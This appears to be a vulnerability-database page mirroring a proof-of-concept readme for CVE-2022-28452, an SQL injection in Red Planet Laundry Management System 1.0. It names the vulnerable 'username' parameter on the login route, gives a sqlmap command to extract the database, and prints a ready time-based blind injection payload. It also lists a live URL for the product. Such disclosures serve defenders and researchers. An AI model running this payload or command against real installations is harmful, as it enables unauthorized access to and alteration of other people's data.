CVE-2022-28452 PoC — Red Planet Laundry Management System SQL注入漏洞

Source

https://github.com/YSah44/Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL

Associated Vulnerability

Title:Red Planet Laundry Management System SQL注入漏洞 (CVE-2022-28452)
Description:Red Planet Laundry Management System 1.0 is vulnerable to SQL Injection.

Description

CVE-2022-28452

Readme

# Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL       

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28452
https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28452
https://laundry.redplanetcomputers.com/

1-Description:

Red Planet Laundry Management System 1.0 is vulnerable to SQL Injection via parameter 'username' in /index.php/login/rediract . Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

2-Proof of Concept:

In Burpsuite intercept the request from the affected page with 'username' parameter and save it like poc.txt Then run SQLmap to extract the data from the database:
sqlmap.py -r poc.txt --dbms=mysql

3-Example payload:

URL encoded POST input username was set to 0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z












Contact details:   alexsahbaz@gmail.com

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!